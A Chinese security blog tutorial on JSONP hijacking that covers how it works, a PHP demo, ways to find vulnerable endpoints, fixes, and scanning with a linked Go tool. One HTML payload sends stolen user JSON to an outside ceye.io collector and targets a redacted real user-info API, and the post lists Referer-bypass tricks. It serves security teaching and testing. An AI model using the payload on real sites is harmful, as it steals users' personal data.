JSONP从漏洞原理到漏洞挖掘

  • Comments Off on JSONP从漏洞原理到漏洞挖掘
  • 4 views
  • A+

什么是JSONP劫持漏洞

要了解jsonp接触漏洞,我们需要先了解这个概念:

同源策略

简单讲,同源策略指的是 只有同协议、同域名、同端口的服务可以传输数据,而不同的网站无法传输数据,用于保证我们传输数据的安全性。

wKg0C2E3EPyAVTwTAAB64ZtzIlU036.png

简单说,就是你在A网站登录后的数据,在你登录B网站的时候,基于同源策略,A网站的数据并不会传输到B网站。

但是问题来了,在一些环境下,我们反而有这个需求:在不同源的情况下,我们需要传输数据,比如在登录百度贴吧的账号后,使用百度搜索,会自然而然的获取到你在贴吧登录时候的一些信息(就是举个例子哈~)。

这时候,jsonp这种跨域传输数据的方法就诞生了: 在html标签中,< script><img>< iframe> 等标签是允许进行资源的跨域获取的,因此利用这一点,我们就可以使用js调用我们想要的数据。

wKg0C2E3FiyAZn7aAABze8z1fKs933.png

jsonp使用回调函数来在第三方网站调出我们的敏感信息,从而达到获取敏感信息的目的,常见的利用场景如下:

  • 蓝队溯源,获取攻击者信息
  • 获取用户敏感信息,执行进一步操作(绕过token找CSRF之类的)
  • 传输用户数据信息(正常用途)

jsonp 漏洞演示

在PHP环境下可以参考这个环境: jsonp_env,其实就相当于接收一个请求后返回相应的数据:

php
<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
$json_data='({"hh":"1","name":"fsdfa"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>

这时候我们可以新建一个html,使用< script>可以跨域的特性,获取相应的数据并弹出:

html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
< script type="text/javascript">
function callbackFunction(result)
{
alert(JSON.stringify(result))
}
</script>
< script type="text/javascript" src="http://127.0.0.1/jsonp_env/getUser.php?jsoncallback=callbackFunction"></script>
</body>
</html>

我们可以看到,在访问attack.html后,浏览器向getuser.php发送了请求数据的请求,并获了值进行返回,从而达到信息窃取的目的:

wKg0C2E3HCWAEWBdAACKevzD780392.png

在真实的攻击场景,我们就可以使用js把敏感数据返回到我们的服务器,直接获取敏感数据,这里为了方便演示,我们使用ceye平台来使用DNS或者HTTP来接收敏感数据,把上面的html改造下:

html
< script type="text/javascript">function jsonp_1610359498402_9620(json){
alert(JSON.stringify(json))
new Image().src="http://xxxx6.ceye.io/" + JSON.stringify(json)
}
</script>
< script src="https://pcw-api.xxxxx.com/passport/user/userinfodetail?area=tw&callback=jsonp_1610359498402_9620"></script>

效果如下:

wKg0C2E3HVACdMcAABHeZnI1M4399.png

JSONP 漏洞挖掘

  • 在JSONP挖掘中,并不是只有callback才会出现JSONP漏洞,我们可一自己构造调用,毕竟< script>标签不支持同源策略,只有没有referer等限制,就有可能存在漏洞。
  • 使用火狐/谷歌浏览器打开开发者模式,选择Network,勾选Preserve log选项,防止干扰

wKg0C2E3GCOAcqH1AABaQEADm4322.png

在左下搜栏目寻找或者在可能存在jsonp的地方添加检索相应的关键字,访问目标相关网站即可。

同时,我们也可以尝试在一些敏感数据传输的参数重增加相应的关键字,也有可能有意外收获。

html
jsonp
jsoncb
jsonpcb
cb
json
jsonpcall
jsoncall
jQuery
callback
back
```

wKg0C2E3GQqAPuxVAADZbqhv6G8528.png

JSONP 漏洞修复

增加Referer

我们在HTTP头信息中增加Referer选项,通过Referer我们可以知道访客是怎么来到当前页面的。如果Referer不存在或者信息不对,不返回信息,着么做可以在一定程度上进行防御,但是在某些场合也可以进行绕过:

  • 利用目标网站的点击跳转,或者将referer清空
  • 在校验不严格的情况下,子域名,相关域名伪造Referer 进行绕过
  • 参数绕过,例如 `Referer: htttp://aaa.com/?bbb.com
  • 使用XSS漏洞进行跳转绕过限制

增加白名单

  • 严格安全的实现 CSRF 方式调用 JSON 文件:限制 Referer 、部署一次性 Token 等。
  • 严格过滤 callback 函数名及 JSON 里数据的输出。

JSONP 漏洞扫描

在了解漏洞原理,和常规手动发现漏洞步骤后,不难发现这是一个重复性极高的工作,那么我们完全可以使用脚本来代替前期的发现工作,我们只负责测试相关就好。而漏洞扫描主要分为下面的主动扫描和被动扫描两种:

主动扫描

我们使用爬虫爬取相关的链接,然后发送两个Referer信息不同的数据包,来判断是否进行了jsonp数据传输的限制,如果返回数据一样,那就证明可能存在jsonp问题。

使用RAD爬虫手机网址,使用check_jsonp_based_on_ast进行漏洞检测,这里使用携程的的一个jsonp进行验证

https://accounts.ctrip.com/ssoproxy/ssoGetUserInfo?jsonp=jQuery2398423949823

这个jsonp本身并没有泄露什么敏感数据,并不存在jsonp问题,但是可以方便我们进行测试,在简单修改后脚本在这18.jsonpscan,其中效果简单如下(还是需要改下的,并发和筛选之类的,这里只能简单参考下):

主要是用来演示,实战的话还需要大量修改i

但是有个问题: jsonp的敏感信息一般都是需要登录后进行判断的,主动扫描+登录就很麻烦,因此,在面对信息泄漏相关的漏洞时,我们更倾向于被动扫描。

wKg0C2E3Iw2AVjwBAABdyEHIbOw627.png

被动扫描

http被动扫描

简而言之,还是需要先了解代理相关的的资料,再根据代理相关的数据进行修改。基本原理如图:

wKg0C2E3IyeAXVj9AACjHhzTtNk051.png

看到这里,我们就很了解http的被动代理怎么做了:流量转发到我们设定的端口,然后在端口进行循环监听,筛选数据,在匹配到合适的数据就进行输出,代码如下:

url
https://github.com/shangzeng/GolangTools/blob/master/18.jsonpscan/other.go

设定代理端口为 7777 ,打开burpsuit 进行设置:

wKg0C2E3I6Ae92jAACvnKe6q0k459.png

浏览器访问之前jsonp环境,触发漏洞:

wKg0C2E3JTGAUZrSAACqCXSn9pQ677.png

这时候我们会发现,存在一些 443 connect 的日志,这是因为 https 的原因。

https被动扫描

https增加了证书相关的信息,依此我们需要导入正式进行,目前还在看,等弄完了会专门写一下学习历程。

最后

本来打算试试扫描下jsonp的问题,无意间发现secin的一个存储XSS,记录下:

wKg0C2E3JriAKjPkAAAvOV6KZWc563.png

相关推荐: 关于大火的Print Spooler漏洞的深度分析

本篇文章几天之前就整理好了,一直没有时间整理,往平台上发。 前言 前一段时间,Windows Print Spooler的CVE-2021-1675和CVE-2021-34527两个洞被炒的沸沸扬扬。漏洞的利用姿势也是越来越多样,由刚开始的本地提权演变为后来的…